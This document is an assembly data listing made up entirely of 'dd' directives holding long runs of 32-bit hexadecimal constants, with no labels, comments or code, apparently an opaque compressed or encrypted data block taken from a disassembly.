dd 0A799EC2Eh, 0F57722F2h, 630BBBE5h, 654B7EA6h, 7D2DBCAFh
dd 6F65EE24h, 58B9DA53h, 0F8584A80h, 38544A50h, 0E7EEE0E2h
dd 4AB51D0Bh, 20BFA401h, 885D4E08h, 4091216Dh, 253C5008h
dd 0D62DEF76h, 0BBD15AA6h, 0C8034628h, 0BE717463h, 310B2FCCh
dd 0F016A182h, 23D95E09h, 37C82220h, 62CBAFE8h, 0F6A1856Fh
dd 0D3787268h, 8BB3271Ch, 5B00D81Fh, 0B6525153h, 0E6801CCEh
dd 4F6C9D1h, 4750A1A7h, 22D569E8h, 0A4697E50h, 6CF6EFABh
dd 6C9B0978h, 9C2208Eh, 0FC624BD9h, 0B3D4C87h, 5E216851h
dd 317510B2h, 0CB57BF46h, 6055010Ah, 7E29051h, 8720C30h
dd 0F0E19C55h, 67A440BCh, 4189962h, 83D70379h, 78241010h
dd 8E4D118h, 18C4A07Eh, 500685CFh, 0E620102Bh, 95C220EFh
dd 31C8F020h, 4908FD85h, 61188C36h, 62A80803h, 5D88186Bh
dd 89C20C0Eh, 7608C67Eh, 29311805h, 8F4D0823h, 3E061888h
dd 108D860Ch, 8DA62CBh, 2903637Ah, 35203A5Ch, 62621540h
dd 382AA10h, 810CF80h, 3B18B178h, 0F7B92057h, 0C4251280h
dd 0F519310h, 0B08F898h, 7D21CCE8h, 0DB403A08h, 2F764071h
dd 62684D40h, 0DD38409Ch, 44B81603h, 0C43D8471h, 4540EF9h
dd 7406BBEBh, 40201073h, 396220EAh, 84A9831h, 1899E079h
dd 95AC5153h, 31E03671h, 76C4A9AEh, 7CCC308Ch, 0A6631208h
dd 2A948418h, 20F0A008h, 51319EE8h, 0B200875h, 0C8A36402h
dd 81086CEh, 41183F3Ah, 9FE33862h, 780208C6h, 0AC4A5418h
dd 101E6293h, 92027CC3h, 5F7F058Fh, 20EC2AE4h, 742098E5h
dd 7FC02070h, 0B2598763h, 0CD081056h, 69C473F0h, 0CA04BA5Fh
dd 4A460465h, 1C61B11Fh, 19370359h, 181A56E9h, 921843F3h
dd 12020810h, 10831710h, 18103D24h, 80F12A32h, 2A103449h
dd 7620CCC6h, 9C4354C0h, 36B0A811h, 5A67806Ah, 0CF481C8h
dd 0EC08A3CBh, 0B07589CFh, 18AAE719h, 0EB418CB9h, 0C46D190Fh
dd 40EFD08h, 0D70A20B7h, 0C1C898E0h, 10C6CD3Ah, 2008F8FCh
dd 7E31ED01h, 896B205Bh, 0D9450898h, 20CAF6B4h, 668CB0B7h
dd 6323186Bh, 65AB0849h, 0D80F1824h, 18063A8Ch, 81362A5h
dd 38064526h, 3E7420B9h, 2069DF20h, 7A496A31h, 58402488h
dd 877748Ch, 63F40C7h, 3924D8A8h, 923A3080h, 0AEDC402Ch
dd 0C5C16940h, 488EF171h, 670C1D90h, 0C62B20FFh, 10CC9B61h
dd 544DD620h, 6325C0C5h, 44321034h, 8EBE0818h, 810B3118h
dd 6DB188BDh, 4B710873h, 10E5190Ch, 8D3626Eh, 60007814h
dd 99E8FC9Ch, 61026A4h, 1E4857EFh, 72C78B3Ch, 27456F26h
dd 752C4780h, 6313EB02h, 0A7B90E89h, 5003D7Ah, 408F4401h
dd 0BC90B49h, 748BF775h, 0DE81C18Eh, 7DB9F003h, 0C0331E74h
dd 4FB10F03h, 0AC2C0930h, 21D63F04h, 693AE970h, 65DA1011h
dd 305BBB51h, 0B1DACBAh, 0EB810F51h, 309C191Eh, 692A52Ah
dd 14801C08h, 30D8F57h, 9245F9E9h, 3830067Eh, 2C2D5250h
dd 3453166Ah, 0EA0A633Ch, 2783EE08h, 0E9E7EB51h, 55BD07B4h
dd 680CE019h, 81E36E5Ah, 817EDC0h, 0CC12A42h, 3CF20A7Ch
dd 0ADB9057Fh, 0AA1307EFh, 216A031Bh, 971CD3D7h, 0BFEA1B28h
dd 0C0D9432h, 28EB4130h, 0C2AFA06Bh, 0E9E908A1h, 538A9D4Ch
dd 0D234268Eh, 57D463EEh, 939568E1h, 1CAB0956h, 67B0C2D6h
dd 84073F8h, 0C83E5F64h, 66F70270h, 0E042E372h, 5123D90h
dd 9EE93419h, 3D67EFA4h, 0D624CCBBh, 8915B473h, 7CE16570h
dd 330CD6A2h, 5EF71637h, 9D794014h, 21832F0Ah, 3BCD83B5h
dd 0D240DA2h, 0D4141730h, 93007FD0h, 18782D03h, 97487DB8h
dd 0E8E3A8DAh, 0C097D020h, 4A64E975h, 0F767AAA0h, 0A07B9BB2h
dd 2841F1ABh, 0CC084BA0h, 0A501F37Fh, 68386203h, 0A7760DE2h
dd 10AAD518h, 0D83CB353h, 43DD9751h, 875EC8B3h, 1596C2A6h
dd 80C3DD0Eh, 0D9508FC3h, 16AFE6BDh, 420B2658h, 8760C408h
dd 577B8CF3h, 0F055CFB9h, 0E3A01CBAh, 6F1341BDh, 40F86E68h
dd 2B6C5C0Bh, 0D849867Eh, 0FE492557h, 0DEE65BDEh, 0E0E82090h
dd 80BF5700h, 213FE411h, 0BA67B5FAh, 9C3ABF81h, 3120ED95h
dd 376A1472h, 0A4C0113Dh, 0E96CD410h, 0F7C2E25Fh, 3102D65Dh
dd 0ADA9D972h, 6301D1D2h, 0D67B0BEFh, 7DBDCB03h, 97555742h
dd 9065A9DEh, 1F1CEA57h, 0CEDA87Ch, 0BF1846D2h, 18A7741Fh
dd 0C0FC71E7h, 7FFBB951h, 1E23FC3Eh, 7712A3C1h, 0B440CDFCh
dd 7A276864h, 0AB303A3h, 6A001197h, 0E43DEF56h, 0DB25B5E9h
dd 9CC1ED22h, 0B95A82D9h, 0D7AD47CEh, 66292200h, 89241933h
dd 0F301A3CBh, 51D51BDDh, 1675016Eh, 2F38B1E3h, 8B0226E5h
dd 42027D5Dh, 0C6AE9B2Ah
dd 8CE056DDh, 0BA9AA089h, 0C68EE0B5h, 0AFB63B52h, 0E8014F75h
dd 0F88C4FB3h, 320A19FCh, 6A13B639h, 3C4148Ah, 200BD946h
dd 0B905084h, 0B95E4709h, 19665D4Bh, 6087FA25h, 13C8F7D8h
dd 1ED51AA0h, 2D03E04Dh, 30517826h, 0A6BAB048h, 0C8DA4999h
dd 0DFCDE90Ch, 0EB248026h, 0D75A0493h, 4075CE6Ah, 125150A4h
dd 0FB8805B1h, 7E8C800h, 25E9D0F6h, 0A8F60399h, 7F792562h
dd 0C21C0F94h, 0C304F858h, 8FEAD709h, 30EA6001h, 0B048EE7Ch
dd 35721288h, 0F94A048Bh, 0C7CC133Ch, 8759BD56h, 59CA8904h
dd 40620B88h, 0D94B01E6h, 0E9F006F8h, 45816C4Dh, 0BD7D9AD8h
dd 52FC7C20h, 37B65F2Bh, 7D6E714Dh, 0B13482Ah, 5FAC0E67h
dd 0A1CAAC6Fh, 4A7090E3h, 579A33Dh, 39E16B3Ch, 0D05DED1Fh
dd 0A066E9C4h, 0EB54D8EFh, 0F20920Bh, 2C967021h, 869D3A88h
dd 225E5FFBh, 0DD39AE16h, 44E6AC05h, 0A30B6501h, 1F6B8F93h
dd 0B3A5BCFFh, 78624A5Ch, 0F0D6AD2h, 75AA3281h, 0C920AFF6h
dd 9A20E1E9h, 5254EC8Fh, 0F940BB4Fh, 0ED688176h, 258C6E7Eh
dd 0C6FEEAEFh, 2FFCB7Ah, 5EAC10Ah, 4C04A342h, 0FB3BAFh
dd 0D268C79Dh, 7897011Dh, 0E90880DDh, 9C254FC0h, 0E8C85194h
dd 3CD2254Eh, 4B6ECA06h, 45C36E3h, 0E10A2FDAh, 0A6D0BE52h
dd 845F1B29h, 5DB40FD7h, 23C54D3Bh, 0E1510601h, 69B76871h
dd 51E17ABh, 38E58054h, 31FB4AD3h, 3FAA79E0h, 0BD4A168Eh
dd 9624873h, 0DDC567EBh, 21F03E00h, 29347639h, 80290D1h
dd 0C0F9015Ah, 34E95E9h, 0E94811EFh, 9E70D5Dh, 3576C75Fh
dd 249EF34h, 694BF15Ch, 88E4185Fh, 1AD12C5Bh, 1554110Ch
dd 0CB5FFE01h, 59AAB087h, 10014823h, 0D212C190h, 0C42737D3h
dd 0A16DFD14h, 42FD1F6h, 0C243E965h, 8977363Ah, 0DEA20E05h
dd 0DB72CEC9h, 2A3C2A06h, 7933DB38h, 316B375Eh, 0C4823B8Ah
dd 0E72EDC32h, 6775AA1Fh, 0A9D7B1B8h, 69FF96BDh, 0F2F22AA8h
dd 920EC4Ch, 605A83A9h, 0F96BA64Eh, 0D075542Ah, 0C8A9D7B3h
dd 411FDCFBh, 1C050EC0h, 5B3D2B0Fh, 0AD8D345Fh, 72DB859Fh
dd 9DC9A8E8h, 0E9794EA9h, 12EBD80Ch, 0EF7570B3h, 4871B036h
dd 1E29EFDCh, 0CA2C40BCh, 0B5745153h, 2861B709h, 4603D5EFh
dd 0B9184C58h, 0FD7D82EEh, 1320F95Fh, 7064163Dh, 0C96C1D05h
dd 0E943204h, 564E5D14h, 9F018499h, 4E798AAAh, 0B118C8B6h
dd 4979EF85h, 7AF4EF72h, 0B2E3064Fh, 0C254D18Fh, 4096BE40h
dd 88295B12h, 243C43CEh, 58583DF3h, 133F49E9h, 0BDBB5300h
dd 971C56Eh, 0F237DE7Dh, 5DB02635h, 3EA44519h, 333FF529h
dd 89BE18E0h, 665EE056h, 0F80B32C4h, 3706F7C4h, 948638Dh
dd 439540BAh, 4D602174h, 0CE77D80Ch, 5D52F6BCh, 3BA1B023h
dd 0A30AA68Ah, 0FBC0031Fh, 0C308962Ch, 0FF8D9058h, 889B0683h
dd 0E4725BD9h, 0C828F60Eh, 38BE9C2Ch, 71054A59h, 23ACD666h
dd 340323A1h, 5497EF19h, 77815A52h, 2F73C268h, 0F0C0F2CCh
dd 0BE413E2Fh, 81E90BE1h, 0A827740Eh, 1B0F2212h, 5EB4C0E0h
dd 78D2F2F5h, 1029B732h, 4A958E5Eh, 0CC9699C6h, 0AE4E30ECh
dd 0F65AFA2Ah, 0E9D70708h, 335A509Eh, 2B583F8Dh, 0FD51C3F8h
dd 2D537E4Ch, 0D476B9B7h, 214E840Ch, 0DE470FC5h, 156BAF96h
dd 8925A4h, 9D7075BAh, 0E2C1166Eh, 0E1E0106h, 3034AD02h
dd 0D39DC504h, 8BC825BCh, 1ACBD1BDh, 6BBC5159h, 0C0D89F3h
dd 0E1057232h, 0A5966582h, 60BEE7BAh, 533C2C04h, 0D3F7131Fh
dd 0BE13EB52h, 43836115h, 7DBC4EA0h, 3CBD3ABDh, 6967C1B4h
dd 0C5A12C6Fh, 0B7444152h, 7AC202C7h, 12F4533h, 0CD685247h
dd 5A13E47Dh, 411FE2FCh, 0B6242514h, 0A6CBDA1Fh, 2135053Eh
dd 568B19F3h, 838CF1DCh, 9057247h, 304E1734h, 5098D496h
dd 1368D80Eh, 0D6DD1406h, 220E3B05h, 3062FE80h, 2EE9E45Eh
dd 0C0B239FCh, 5C47A103h, 30D27A97h, 4209E72h, 369E5A6Ah
dd 0B2D36850h, 0F316B5FDh, 41B59480h, 3025FA9Dh, 0B9C0427Bh
dd 44EE17EFh, 0E64828F4h, 5F21B1CAh, 7E6ACD7Eh, 55A7198Ch
dd 0AD2B0EFDh, 8B68C420h, 0D79E98A9h, 87F22B3h, 0F20282E4h
dd 4BAAA53Bh, 0AD5DC31h, 8E5D101Bh, 0CB4FD188h, 0ABFED484h
dd 0CB4FF8B6h, 68518148h, 0B22E0F32h, 0F1598BF1h, 24D1A824h
dd 0A6A0D83Eh, 37F70095h, 0CF876260h, 2406416Fh, 53C54FD7h
dd 84FAF384h, 34AC8740h, 60F3D9CAh, 5881C336h, 3A54DD2Eh
dd 0E9575EC0h, 72059DFFh, 4BF18F2Dh, 0C1E724BEh, 4D3E7511h
dd 0E26B24BBh, 9D14D06Ah, 4ED6E9F0h, 4312442Eh, 767B1416h
dd 0E09A35ABh, 26744741h, 187E005Ah, 0EA810216h, 2C9F0115h
dd 0E9D13193h, 5918744Dh, 0B47A82BFh, 9546A3Bh, 98C37689h
dd 87B891CCh, 22056671h, 25E912Dh, 97EEDD0Eh, 0F677260Bh
dd 5E08A04Ch, 0A1229858h, 0F99D665Eh, 14EBEFh, 7710BA74h
dd 0DAF75BA7h, 3EEAD13Fh, 0A24DA9Ah, 0C040E499h, 0A08D0A31h
dd 0ECBBF2E6h, 0A07F5ECDh, 673071B1h, 5FF70C14h, 20E1B89Bh
dd 334F21D7h, 4BD2DBF2h, 54A170Dh, 1AD980D7h, 19608A1Ch
dd 0B175F268h, 29C12B47h, 9B265A54h, 24F8AF41h, 0ED84B06Dh
dd 801D231h, 0C13C535Dh, 9FE9DAC2h, 0E097A958h, 1FF50D79h
dd 4A36DC73h, 0A54B8945h, 0D86F30A2h, 23C4D2D6h, 1818FA0h
dd 0FD5F1DEBh, 21F3295Dh, 2608067Ch, 59FC059Fh, 0C680C760h
dd 70C5E63Dh, 75F5785Bh, 0A85A4FEDh, 5650E098h, 89C79668h
dd 2CA5BFE9h, 0FF279C52h, 32911F04h, 3880EBC1h, 633497C3h
dd 5FE90251h, 6895D95Ch, 79039A06h, 4F7D3963h, 1E2B580Ch
dd 0E725E9D0h, 0EFC3D666h, 0BDB14C65h, 816C25BEh, 5A966834h
dd 0B6B785C3h, 209CE14Bh, 7C58990Dh, 6D51815Ch, 0EFEC6EFDh
dd 2D43C2EAh, 23C0D503h, 0ADA807A6h, 1D02BCEDh, 37686A6Ch
dd 9AC4C08h, 1E657911h, 27744600h, 0FBA32890h, 0FEC45F99h
dd 0A7245DF6h, 4B0C73BEh, 74171F74h, 0B660C102h, 54EE2851h
dd 9E3CFBB9h, 0AAC2D68h, 0D1257445h, 1C3012BEh, 177EEED5h
dd 0B07284AFh, 72F0687Bh, 0E108E39Bh, 0F1BF037Dh, 29B97092h
dd 0A112F0FDh, 7DBD6A96h, 2D54F701h, 5C461E3h, 2D67EED4h
dd 0DD20E21h, 5BD80888h, 67BF59B5h, 532A23BFh, 914987FCh
dd 3CB299F9h, 27967321h, 0B0565C9h, 0A17DC331h, 628A68CCh
dd 39BF84C3h, 0BCA17E82h, 0E9C2C022h, 0DC58488Bh, 5DD9182h
dd 0E2E85586h, 0F3406C05h, 184F173h, 25AEE907h, 9AE03BF1h
dd 9621E359h, 0F776A03Fh, 749DD94Ch, 51EA40E7h, 9F4E7E0Dh
dd 0F3F0FDA1h, 0C787C079h, 8797B8B4h, 0BA52F3C0h, 90CF1F19h
dd 1DF23413h, 53E8800Dh, 0AF80013Ah, 0F574AA12h, 88EB3782h
dd 80038319h, 0F9C05FC9h, 20CBD807h, 0DE88522Dh, 0D31F3A72h
dd 5E38F5Ah, 3782EBC9h, 66C85D71h, 0C3072D48h, 8901622Eh
dd 32D33F5Fh, 0D9538E53h, 0A0B705F2h, 8F468EE3h, 40BF0E50h
dd 563E6B0Ah, 50138421h, 0D2CEACh, 88051493h, 0F739452Dh
dd 0EADC8DDh, 72729D6Fh, 6B5F80AFh, 1C3F950Eh, 7F1A859h
dd 40805D60h, 26DCD5BDh, 5850C889h, 2B547D68h, 0B24AAEF9h
dd 41F08C29h, 0E988B654h, 89F1D763h, 0EB84C352h, 67A5483Ch
dd 64C31692h, 1740FFA0h, 1B0FC5EAh, 4FDBF639h, 18F1A6E3h
dd 0C3715163h, 2F581370h, 67D50313h, 0E9F86838h, 0BBA3226Dh
dd 87C2E205h, 8682E512h, 0D79661CAh, 767977C2h, 481AE9E1h
dd 0EC016339h, 2D0D6256h
dd 8B0BACEAh, 52A6F4CBh, 3E174941h, 8B5EB0E7h, 19A65698h
dd 68B14C2Eh, 347F7BF7h, 0DC0A9833h, 54B65B70h, 630E905h
dd 82C12671h, 0C9DE222Dh, 5EAB3550h, 87110EF7h, 0C7B5F65Dh
dd 0E040ECC4h, 4C68AD66h, 0BD92B163h, 3953BF0Fh, 0F39347CEh
dd 681F7DB5h, 44675BF3h, 0D7E09F95h, 60672EEDh, 5154F50Ah
dd 0C4AC3644h, 8042A01Bh, 825EE75h, 35B772F1h, 12A24930h
dd 2EBB9D84h, 2568ADE0h, 71985FC0h, 1991F187h, 15110802h
dd 0B592881Eh, 5B010820h, 71B6BE56h, 976067DEh, 68524036h
dd 1A492427h, 0C1B41899h, 6845A058h, 813C58EBh, 230078E6h
dd 16DD36Fh, 5FE955F2h, 0C06200F8h, 0F68008EEh, 0F5304400h
dd 53CDFE5Ah, 5A337BB3h, 8A2686C3h, 7517DD5Ch, 0E64C5B7Eh
dd 73C0382Ch, 0FA6426DDh, 45D8880Eh, 33BE58C6h, 0E6F90246h
dd 0BA649304h, 26D83BFDh, 0F14B8851h, 0E30F1206h, 0A2C09F7h
dd 0DB68699Dh, 5B822795h, 1652E931h, 0FFBEF930h, 2525C3EDh
dd 385A2085h, 57E90880h, 6570E2B5h, 38DFA560h, 1FEDBD07h
dd 202907h, 956AB2CDh, 1C904D25h, 0AE3E4405h, 0E844524h
dd 723173F0h, 4D351DAh, 0C0CDF420h, 6BA7B81Ah, 214E55E5h
dd 0C85A01EAh, 3F1AE234h, 0B908797h, 95193618h, 74EAC0F8h
dd 4EDD0348h, 24C629BFh, 41656D54h, 0D10CF313h, 0FA400692h
dd 9F2D5035h, 1755EA48h, 0BF1EED5Ch, 627EC109h, 761257D7h
dd 9C89497Ch, 0A236773Eh, 4012794Ah, 97AA04FEh, 2B7DF505h
dd 0F65F66DAh, 32BA9751h, 0ADFCCDE5h, 5E7EF6A5h, 64C12382h
dd 81D8486Fh, 0B9AE0B2Eh, 280DC008h, 1FACC91Eh, 44E1C8E6h
dd 6CE51F6Ah, 967D4900h, 0F20F48FFh, 0BD48B415h, 0C950958Bh
dd 0E9D05BBFh, 0E912A9C6h, 70FFCAE4h, 0CB685A9Bh, 0D8DA465Ch
dd 41F0E952h, 7BE20A9h, 39E5395h, 383BE950h, 0FF2DBA1Ah
dd 8D4B6103h, 0BA001A79h, 4F6FAA14h, 0D11FCF81h, 34241745h
dd 0CE2ECD00h, 0B0FD893Fh, 25B1B686h, 5DD07BDEh, 0D3BB057h
dd 2C8A4565h, 106FE34h, 58232042h, 0BFF52924h, 1A4F0607h
dd 25BC2Fh, 616846A1h, 0DA18B71Dh, 0DE8A7D80h, 835E1829h
dd 2C6808E9h, 5358AEDAh, 1E8201BBh, 3AE908F3h, 0FE168070h
dd 50D6F6CEh, 0CA902B0h, 89B34B3h, 0F17022FCh, 0DA77824Ah
dd 7BAB099h, 308EB7B1h, 0A8A2C4E7h, 0D7F702A1h, 0D704EFC1h
dd 0F67B5DCCh, 31B08504h, 0C0AB5AD7h, 0E95B5581h, 0BBECE72Eh
dd 0D42593A4h, 30BC091Eh, 94F2965Fh, 0A0691292h, 164C2CE4h
dd 0E3024FD3h, 59C6895Ah, 0EA4A8E0h, 0D4438B0h, 1874F6C1h
dd 0C32C373h, 775FAC8Ah, 462417E0h, 0BB5E1000h, 65728DA2h
dd 51009729h, 0D518FE3h, 0E9524205h, 84444F9Ah, 37FEEE2Fh
dd 0C251E3B1h, 0DFF1C4Ah, 30231EA3h, 55184D2Dh, 0F76C7BA7h
dd 46382E59h, 8B2A1EE0h, 0E30031AAh, 0CBDC42A9h, 2347E97h
dd 0FF92E9D0h, 8A6A56FEh, 68152042h, 64EE24h, 56B070D5h
dd 0C12D5E5Bh, 7CD72413h, 34289CC1h, 69136800h, 0DD7A172Ch
dd 2115A418h, 80C3B147h, 7923BA52h, 82957539h, 89A60F05h
dd 0E84D589h, 57AB856h, 4DD8382Ah, 68093CFCh, 0C5197D05h
dd 0E8F13E57h, 0B0C16F52h, 1E1D1C9h, 462AC981h, 0D2E94E65h
dd 0F4272354h, 2DB0560Dh, 94BB6760h, 0F42D5411h, 0A3175FD5h
dd 71EAD209h, 3A78E99Dh, 250EF016h, 7B9BE097h, 3FDFE681h
dd 0CCD06A2Ch, 0AA242CEEh, 7B5CAF4Fh, 8F2E0C0Ch, 0F7EE0F1h
dd 0CD896849h, 3FD594BDh, 6A72C3B4h, 0A18B0A5Ah, 0BF4AB458h
dd 0E9D9E969h, 0E71D2551h, 8C65D02h, 0C92D08D3h, 0AF0FF743h
dd 85AF3265h, 0F04E04E8h, 4935011Eh, 21CD0957h, 0E9CCCD5Dh
dd 176C1FFh, 3F4C500Ch, 680A4AA7h, 0AE353569h, 5CFBA766h
dd 41A572A4h, 75F3EACBh, 652809CFh, 2D006263h, 0DC1B4FCAh
dd 0A5BD025Ah, 0DE1C0302h, 0E65D299Eh, 379D25D6h, 14F92CC8h
dd 1024DC5h, 403A8D21h, 0DD07FA04h, 74A2DA87h, 3D19C6BEh
dd 0D3795658h, 0C5BC097h, 593D5520h, 1054372Bh, 0C2544C5h
dd 0C4148F82h, 26E17788h, 419DDF4Eh, 0CC22E680h, 0F4E005C6h
dd 0E35A5A70h, 14D2D6B2h, 0C3255067h, 60B43799h, 0F64B34B8h
dd 52ACDD91h, 72F92901h, 0C04F2DE7h, 176B68A2h, 0E665FE7Fh
dd 0CD163FABh, 5F2C76F1h, 52C1F912h, 75BFF0B2h, 1117389h
dd 386498D5h, 0F7A7A8A7h, 0A53D129Dh, 1391AD56h, 85A342FEh
dd 3968B3C6h, 6A3BCB02h, 5D4310D4h, 7880A409h, 37140E7Bh
dd 7E510500h, 0BE97854h, 0F335C34Dh, 808C1770h, 6489EB5Dh
dd 3C7CA326h, 0DA7BF802h, 84CB5C65h, 0C051193Ch, 5BCFE2C1h
dd 0EA01CFCh, 334F4FACh, 0BE371100h, 35E99D20h, 0AC66FCCCh
dd 4E78D1F7h, 542C67FDh, 0D4F95B70h, 0F60405E0h, 0BA0055C0h
dd 40591ABCh, 9D69C3F4h, 66D8714h, 757CC682h, 0C5013BA4h
dd 5213EBC8h, 4FDC8AEAh, 1534F9B2h, 8C30FE85h, 0BFF0B753h
dd 8C36AD2h, 4A6B35E9h, 4FF4F61Ch, 1CDEED44h, 69540112h
dd 7E356D65h, 0AE84DB90h, 0C1E03F9Fh, 0C60E7D4Ch, 1E4146E1h
dd 3F70ADE9h, 502C8FF3h, 3BB581BCh, 2059E888h, 0F9835356h
dd 0F26BB470h, 50512657h, 80E83EF8h, 53F6D828h, 2574FDE3h
dd 59647A5Fh, 0B2CFBF10h, 167874EFh, 163DAB5Bh, 0A05FFF66h
dd 6629E995h, 100285EFh, 0FE261673h, 85039A9h, 0DFD09F58h
dd 53F3515Fh, 8485A893h, 0B117EA46h, 40062FE9h, 9514EC39h
dd 44EA9B54h, 0AF711902h, 0ABEBC36Dh, 2936D173h, 0BD7438BEh
dd 30086579h, 895725C5h, 0C180C97h, 0C13EF1E6h, 80186C64h
dd 0F685722h, 5837DB1Fh, 0F71515Fh, 0FE29F845h, 30CA310Dh
dd 1412AB89h, 50BE7AC9h, 0CB4A08AAh, 4C5B106Bh, 5D66CA40h
dd 0FC4AD3FAh, 0EF00779h, 216F2192h, 9BA8C96Dh, 9C2F3760h
dd 0ADD1838Ah, 99DADB7Dh, 6658D2A7h, 79FE1EDh, 79898F5Ah
dd 0A4989292h, 93DECBF5h, 89296089h, 0CA62F541h, 0F809B573h
dd 0E2B5AD0Ch, 6726136Ah, 0AFE5C495h, 0F24F50B7h, 0A0D94AB8h
dd 13B2F73Ah, 8FF486CCh, 0DD8701C7h, 8956DBBFh, 0EBF17AFEh
dd 12135DF6h, 0F5FD9A5Eh, 70BD1FF6h, 0DC189D6Eh, 5C81FEEEh
dd 98BEB32Eh, 0D394E9A7h, 79D9AAC4h, 42A70DBFh, 0F4801301h
dd 20C3CC6Dh, 0D0E32824h, 0BFD1DF3Ah, 26A70F2Dh, 5C639DC0h
dd 0B9492601h, 0FA7FFBA6h, 3611043Ah, 0E10804BEh, 0FE50BE98h
dd 0A679425h, 2055575Eh, 338B9FEEh, 5D5089DFh, 5F5ABB14h
dd 0BA8457ADh, 0B35B220h, 0F7E865AAh, 2D1B6880h, 14577D2h
dd 0ECCA0805h, 1F74505Eh, 8D024A78h, 0D6B00865h, 2A68C540h
dd 0FA4E5DC3h, 0D0474A77h, 505206BCh, 0D585A27h, 0E686EDFh
dd 7875B2A2h, 2FED973Bh, 661C7520h, 68C7F1F7h, 0FB7C7AF8h
dd 0B22C2DE9h, 5425EB65h, 63057AD3h, 59994E9Ch, 50D218CFh
dd 560036ABh, 0B066850h, 40F83C48h, 149D3501h, 0C6890DBCh
dd 22105E4h, 0E9336545h, 0CAEC19FCh, 0B5C39E0Fh, 3FF7A5B6h
dd 36F179D0h, 1A5F3D76h, 4149D11Eh, 484CE6E1h, 20EA3027h
dd 0FCB7F307h, 2478F1E9h, 2CE2022Ah, 8B412592h, 7203E5D3h
dd 95B3DBBh, 44617868h, 30564CFBh, 2FFBAC10h, 65B3D155h
dd 0C48BAA5Dh, 7056EC96h, 0C799930h, 485D39A6h, 71053028h
dd 0AC50B57Dh, 0E94E1CD1h, 25E9D815h, 9591D065h, 0A9B5FD5Ah
dd 90A98F54h, 0C35B6615h, 9F575074h, 4BB98056h, 1EDA7212h
dd 54ABFC3h, 375C2978h
dd 0B4C8BA32h, 28C2179Bh, 0A132AEE7h, 0B78F0308h, 2B0AD776h
dd 0AE32432Ah, 0F6EB6427h, 6E688074h, 0C6B36C63h, 621511E0h
dd 0DBC31015h, 22585E19h, 0FC980698h, 90164A13h, 0E75DD5BAh
dd 2EE0345Eh, 2D68F0F7h, 0D0566277h, 0D939D162h, 4A52808Bh
dd 2EBE011Ah, 0E09FA9E8h, 276DF6D7h, 8DD2184Dh, 6F580881h
dd 40E5B606h, 0DFFB9D76h, 0A65D5127h, 0D0261272h, 0CC03A4ACh
dd 0B6D3809Dh, 2525CD5Bh, 7707D8E9h, 0D47E572Dh, 0B784EE46h
dd 0BE040716h, 67FE8D02h, 0E10DA4D8h, 0C0844076h, 5F4BAAC1h
dd 0DD4F88FCh, 0B9D13FF3h, 0CD2EA8B0h, 13B3BEEEh, 31BEC5A4h
dd 2AE64D17h, 0EE93AFB2h, 624F79DEh, 7570D4F0h, 2E7C113h
dd 0F5A0AB06h, 4EA49856h, 0A5AEF3E6h, 9094ABCh, 99921BE7h
dd 991E0809h, 167C3CB5h, 2255BEE9h, 4C550C47h, 0BFCBB13Eh
dd 8A16C125h, 70C42B4Ch, 0E307437Ch, 34544C64h, 0E033F363h
dd 60F72FA7h, 0D87310DBh, 31258B26h, 4B6460D9h, 1E8D2553h
dd 2112E1DEh, 0F4D648A2h, 2122CE75h, 58284401h, 36376817h
dd 5F1711CCh, 97C734B8h, 0D190FBFCh, 0EBE65BDDh, 0C74C06B0h
dd 2498A5BEh, 25699FE9h, 5DED3A5Dh, 53F6AC02h, 0C3FF0980h
dd 551DDAD7h, 505A11EEh, 9FE96B30h, 46359E4Dh, 9B95E668h
dd 4DECA24h, 0E7C1FEACh, 0B00828D9h, 64A3EE4Eh, 785D9415h
dd 0C9A9F14Fh, 0EB5420D9h, 5AC78080h, 7498B199h, 74181C7Ch
dd 0F70C2FA3h, 483FF406h, 0A20E524Eh, 2981E548h, 394FE9F1h
dd 12C7039Fh, 0DF366667h, 0C8C133Eh, 57B2D68h, 1CE57CD6h
dd 9DBBA840h, 24F9041h, 0E55D3F2Dh, 0B1C1290Eh, 3A4C312Ch
dd 0A82E3C29h, 0FE0CE645h, 5D2F3520h, 0A2BD13A0h, 5055F074h
dd 781F5CB8h, 0C5890E04h, 98E0AB58h, 9AFE38E9h, 8845E5Bh
dd 5900C244h, 0FE05EFC0h, 0B45000C7h, 58E7309Bh, 5B2CF828h
dd 130BBA2Ch, 83A61A3Bh, 85641FE6h, 0BB86FCBDh, 21279340h
dd 0AF1FF1D9h, 0F4956342h, 0C7545EADh, 0A8402406h, 0E58042D5h
dd 49656006h, 0A7EB0721h, 0B40B1E07h, 0AED994FFh, 5F9B5F1h
dd 2858183Fh, 0B90149D6h, 0C6BD5538h, 2F31BF54h, 0C7405DFDh
dd 1693476h, 0B4F6812Eh, 6E124A45h, 0E83B44F5h, 4FFCC3ECh
dd 0C660BF9Ch, 20AE593h, 0E9F331DFh, 0EFFCD05Fh, 61652BB8h
dd 9D472227h, 7E71CA8Eh, 0B2006B7Eh, 55D468F9h, 0E6F93BE1h
dd 93A6B992h, 288B01BBh, 0A111C95Fh, 494B1423h, 2F7ED01h
dd 0E9EF892Dh, 0EC96677Eh, 55010444h, 0B27FE9DDh, 1CD990DFh
dd 36D25607h, 68552D49h, 10834Fh, 0E7815A0Eh, 0B7828CEh
dd 7E702D98h, 470A0824h, 5D1BED2Eh, 0DFB8C9AFh, 0C5E7EF9Dh
dd 0EA012988h, 986E408Dh, 0E22AE9FFh, 3CF06D2Dh, 7634445Ah
dd 2C845EEh, 0E65DAAABh, 1C2908CBh, 3FEC4365h, 7524B4Bh
dd 5FD88EFEh, 0F1CD4D69h, 4E6B23Eh, 1EECE953h, 31E816h
dd 0A967F7Bh, 1763B951h, 8628804Ah, 22D006B2h, 547510Bh
dd 45C1D17h, 8214E706h, 345AB9C7h, 0A9250509h, 1DADD03Eh
dd 133BA62Dh, 53480972h, 39A31180h, 80BD74DFh, 342D48ACh
dd 8DD0164h, 3B60DC25h, 0C518302Bh, 858A47B1h, 42B0C855h
dd 48964FA9h, 0BD003738h, 1B7918EEh, 0BF540FE9h, 4B4FDBAEh
dd 6D3B45F6h, 0BF58E150h, 0B461CF81h, 0CA0BD31Ah, 828F5F17h
dd 56D87A74h, 9D0052A9h, 0CC28FFB1h, 7FC5898h, 8004D073h
dd 0E68890F4h, 70B61B88h, 2478E12Ah, 4576D6DEh, 1DD78786h
dd 103B1A3h, 0B43BA4F7h, 4AE90976h, 0CED50108h, 0EED435Ah
dd 360128E9h, 8794AAE8h, 5A98F539h, 0E19BEA5Dh, 0C78884C5h
dd 586E83BFh, 382FE895h, 7CF12776h, 355F2409h, 0F51D0406h
